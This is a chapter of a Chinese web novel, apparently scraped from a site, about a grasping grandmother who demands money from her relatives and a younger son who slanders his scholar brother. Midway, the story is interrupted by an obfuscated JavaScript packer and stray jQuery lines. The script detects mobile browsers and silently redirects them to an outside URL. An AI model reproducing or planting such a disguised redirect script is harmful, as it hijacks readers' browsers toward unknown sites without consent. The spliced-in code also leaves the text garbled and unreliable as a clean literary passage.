王桂花恨得牙痒痒。


    林安成入了书院后,结交了几个狐朋狗友。


    几人约着一起去听曲,林安成囊中羞涩,又找上了王桂花。


    林安成道:“娘,我得结交人,接交人就得用银子,你去二哥那边要一些过来。”


    王桂花瞪了他一眼:“你当我没要过?你二哥和林小满压根就不给银子我,说什么需要啥就给我买。”


    林安成咬牙切齿,“这是冲着我来的!”


    王桂花对他说:“你且安心,我去找那死丫头说道说道。”


    王桂花怒气冲冲的就往林小满的铺子过去。


    林小满正坐在躺椅上看书。


    王桂花一拍桌案,“小满,我不管,今日你必须给我二十两银子。”


    林小满起身,还是那句话:“奶,我说了你要什么直接说,我不会给你银子的。”


    王桂花怒了:“嘿,你个死丫头,我要点钱怎么了?”


    林小满道:“奶,我们分家了,你是我奶,我肯定得伺候好,别人可就别想了了。”


    “毕竟我赚银子不容易。”


    王桂花扬手就像给她一耳光,被及时赶来的顾川一把抓住了。


    顾川力气大,王桂花的手被扭得哇哇叫。


    顾川问:“你为何打人?”


    王桂花疼得龇牙咧嘴:“我是她奶,怎么还打不得了?”


    林小满冷哼一声,不说话。


    王桂花哭喊着说:“你这是要把你小叔逼往绝路啊!”


    林小满轻飘飘的说:“若是在京城待不下去,让他回西宁县吧。”


    “总之,钱我是一分都不会给的。”


    说完,她有些不好意思的看向顾川:“多谢顾公子出手相助。”


    王桂花骂骂咧咧:“你个死丫头,你给我等着!”


    王桂花走远,顾川连忙问:“你没事吧?”


    林小满摇摇头:“让你看笑话了。”


    顾川有些心疼的看向林小满,“你之前在西宁县时,日子不好过吧?”


    林小满笑眯眯的说:“有我爹呢,他们讨不到好。”


    再说王桂花这边。


    她骂骂咧咧的走出了林记杂货铺。


    二儿子手上抠不出钱,她可以去找大儿子啊!


    而且大儿子家里也在做腐乳生意,她也能跟着学不是?


    大儿子总不能把她拒之门外吧。


    而且之前她能从林满仓手中拿走五十两银子,往后也还能再拿一些走。


    她一路打听去了林满仓家,敲了敲林满仓家的门。


    林满仓出来开门,一看见王桂花,就愣在当场了。


    他大声说:“娘,你怎么来了?”


    王桂花隔着门缝看见他们在做腐乳,探头探脑的往里面看。


    林满仓则是挪了挪身子,挡住她的视线。


    里面的刘氏赶紧将所有东西收拾好。


    王桂花冷哼一声:“怎么,不准备让我进去?”


    林满仓忙说:“娘,不是这样的,你且等一等。”


    王桂花一把将他推开,直接进了屋。


    只是这时,刘寡妇和她几个儿子早就将东西收拾好了。


    王桂花看着就生气,“怎么,你还怕我偷学?”


    林满仓不说话。


    可不就是防着她吗?


    王桂花没好气的说:“老大,娘大老远过来,手上银子不够,你给些孝敬银子吧。”


    刘氏笑盈盈的走上前来,道:“娘缺什么,我这就去置办。”


    王桂花听着就来气。


    又是只给买东西,不给银子的。


    但无所谓,她学了做腐乳的法子,也是一样能换钱的。


    王桂花皱眉说:“收拾一间屋子出来,我往后就住在这儿了。”


    林满仓正想说话,被刘氏拦了一下。


    刘氏笑着说:“婆母想要住下,自然是没问题的,我这就去收拾一间房子出来。”


    林满仓也跟着一起。


    他有些不解:“你干啥让娘留在这,咱们做腐乳的法子可不能交出去。”


    刘氏瞪他一眼,“总不能不让她住进来?那外面会怎么说我们?”


    林满仓着急了:“那咱们做腐乳的法子……”


    刘氏笑着说:“这有啥的,咱不做不就行了,明儿你去码头找个干苦力的活儿,让老大老二也跟着去,多少能赚些钱,我去接一些缝补的活计,多少也能赚一些。”


    林满仓听完后便皱着眉。


    有不费力就能赚钱的法子,却还要去干苦力活。


    这不是吃饱了撑的吗?


    刘氏看出他的想法,瞪了他一眼:“那你说说,还有没有其他的好法子。”


    林满仓不说话了。


    还真没有。


    林满仓将腐乳放进罐子里,等七日后腐乳做好了,再送去林小满的杂货铺。


    往后,只要他娘在京城,他就不做腐乳了。


    至于王桂花想要银子。


    他们也说没有,王桂花想要什么,只管给她买,银钱一分都落不到王桂花手上。


    给了王桂花,就是给了林安成。


    林安成有钱就会一直留在京城。


    王桂花觉得老大好拿捏,林小满家的饭菜实在是太难吃了,她便想着带着林安成来老大家里吃。


    王桂花道:“我要吃腊肉,老三到底也是你亲兄弟,他也一起来吃。”


    对此,刘氏早就备好了说法。


    “婆婆,我们如今手上也不剩什么钱了,腊肉五十文一斤,我们实在是买不起,不如我让长顺去割二两猪肉回来做给娘吃。”


    王桂花瞥了她一眼,“也忒小气了些。”


    刘氏知道,和王桂花这种人,就是要比谁脸皮厚。


    反正刘氏还是那句话:“我家实在是没什么银子了,还有孩子要读书,家中银子实在是不多。”


    不过刘氏到底是心疼那二两肉的银子,没有把菜做得很难吃。


    倒是林安成来了一句:“味道实在是寡淡,但勉强可以下咽。”


    林满仓不惯着他:“觉得不好吃,以后就别来吃了,我家日子也不好过,还要多你一张嘴吃饭。”


    王桂花重重的将碗放下:“你怎么和你小弟说话的?”


    林满仓又沉默着不说话了。


    刘氏出来打圆场:“小弟,实在是钱财不够,你别和你大哥一般见识。”


    林安成恨得牙痒痒,但他也毫无办法。


    更气的还在后面。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086277|192629||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    林安成发现林满仓他们家不做腐乳了,林满仓带着刘氏的两个大儿子去码头做苦力。


    刘氏的小儿子和林满仓的小儿子一起在学堂读书。


    王桂花偶尔想吃点肉他们家都说买不起。


    这日子过得实在是憋屈。


    可去找林小满吧,她家那个小丫鬟做饭贼难吃,林小满竟然也吃得下去。


    林安成甚至觉得,林满仓家里这么拮据,也是和林小满学的。


    不然大哥这老实性子,怎么能想到不做豆腐去做苦力?


    林安成又记恨上林小满了。


    这日,林安成参加一个诗会,他好不容易才跟着好友混进去的。


    这个诗会有京城几个私塾还有国子监的学生。


    其中一个叫王浩的主动过来和林安成说话。


    王浩是松风书屋的学生,一直听着林青山的大名。


    听说林记杂货铺的掌柜是他才十一岁的闺女,他在国子监的堂考每次都是甲等前三。


    唯一不好的就是他不怎么喜欢来诗会。


    听说休沐时都在陪着闺女。


    不少人都想结交林青山,这会儿听说林安成是林青山的弟弟,大家伙都对他比较客气。


    王浩笑着说:“听说林青山是你哥,见你一表人才,难怪是亲兄弟啊。”


    林安成没想到有人会主动过来找他。


    于是笑着应下,“我二哥不喜交际,而且他……实在是……”


    林安成话没说完,吊足了人胃口。


    王浩问:“他到底怎么了?”


    林安成深吸一口气,笑容苦涩:“你不知道,我这二哥,他与我不亲,都是一家人,他整日吃香喝辣,对我这个弟弟却是……”


    王浩有些着急了,“你说话倒是说完啊,说一半留一半的,到底怎么回事?”


    林安成笑容更加苦涩:“我来京城,我哥似乎并不喜欢我,家里有空房间,却不许我住,每日的饭食都是让做饭特别难吃的丫鬟做,我实在是……”


    “我们到底是亲兄弟啊!”


    其他人听了,忍不住过来吐槽。


    “有这么当哥哥的吗,好歹也是亲兄弟啊……”


    “平日里我见林青山大方爽朗,没想到私底下竟然这般……”


    “这知人知面不知心,我瞅着林青山未必是个好东西。”


    这时,有和林青山相熟的人出来说话了。


    严进皱眉道:“我与林兄相熟,他不是这般斤斤计较之人,说起来,你们兄弟关系好么?”


    林安成支支吾吾了一会儿,才说:“都是亲兄弟,难不成我还比不得你们这些外人吗?”


    严进帮着林青山正名,“林兄为人宽厚,若不是关系太差,他怎会计较这些?不过是一间屋罢了。”


    还有人也帮着林青山说话。


    林安成态度笃定,一时间众说纷纭。


    但他们与林青山不熟,不少人都信了林安成的话。


    次日去国子监,严进特地找上林青山,对他说:“林兄,你与你弟弟是不是有什么龃龉?昨日诗会他说你苛待亲兄弟,为人小气,睚眦必报。”


    林青山冷笑一声:“呵,他在外面是这么说我的?”


    严进有些好奇,“到底怎么一回事啊?”